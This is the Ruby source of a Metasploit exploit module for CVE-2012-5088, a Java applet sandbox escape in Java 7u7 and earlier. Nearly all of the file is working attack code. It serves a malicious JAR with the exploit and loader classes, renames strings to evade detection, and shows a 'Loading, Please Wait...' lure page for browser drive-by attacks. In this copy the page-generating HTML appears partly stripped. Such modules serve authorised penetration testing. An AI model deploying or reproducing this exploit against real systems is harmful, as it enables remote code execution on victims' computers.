Java Applet Method Handle Remote Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript => false })

	def initialize( info = {} )

		super( update_info( info,
			'Name'          => 'Java Applet Method Handle Remote Code Execution',
			'Description'   => %q{
					This module abuses the Method Handle class from a Java Applet to run arbitrary
				Java code outside of the sandbox. The vulnerability affects Java version 7u7 and
				earlier.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Unknown', # Vulnerability discovery at security-explorations.com
					'juan vazquez' # Metasploit module
				],
			'References'    =>
				[
					[ 'CVE', '2012-5088' ],
					[ 'URL', '86352' ],
					[ 'BID', '56057' ],
					[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ],
					[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
				],
			'Platform'      => [ 'java', 'win', 'osx', 'linux' ],
			'Payload'       => { 'Space' => 20480, 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Platform' => ['java'],
							'Arch' => ARCH_JAVA,
						}
					],
					[ 'Windows x86 (Native Payload)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Mac OS X x86 (Native Payload)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Linux x86 (Native Payload)',
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 16 2012'
		))
	end


	def setup
		path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "Exploit.class")
		@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "B.class")
		@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

		@exploit_class_name = rand_text_alpha("Exploit".length)
		@exploit_class.gsub!("Exploit", @exploit_class_name)
		super
	end

	def on_request_uri(cli, request)
		print_status("handling request for #{request.uri}")

		case request.uri
		when /\.jar$/i
			jar = payload.encoded_jar
			jar.add_file("#{@exploit_class_name}.class", @exploit_class)
			jar.add_file("B.class", @loader_class)
			metasploit_str = rand_text_alpha("metasploit".length)
			payload_str = rand_text_alpha("payload".length)
			jar.entries.each { |entry|
				entry.name.gsub!("metasploit", metasploit_str)
				entry.name.gsub!("Payload", payload_str)
				entry.data = entry.data.gsub("metasploit", metasploit_str)
				entry.data = entry.data.gsub("Payload", payload_str)
			}
			jar.build_manifest

			send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
		when /\/$/
			payload = regenerate_payload(cli)
			if not payload
				print_error("Failed to generate the payload.")
				send_not_found(cli)
				return
			end
			send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
		else
			send_redirect(cli, get_resource() + '/', '')
		end

	end

	def generate_html
		html  = %Q||
		html += %Q|
Loading, Please Wait...|
		html += %Q||
		html += %Q||
		return html
	end

end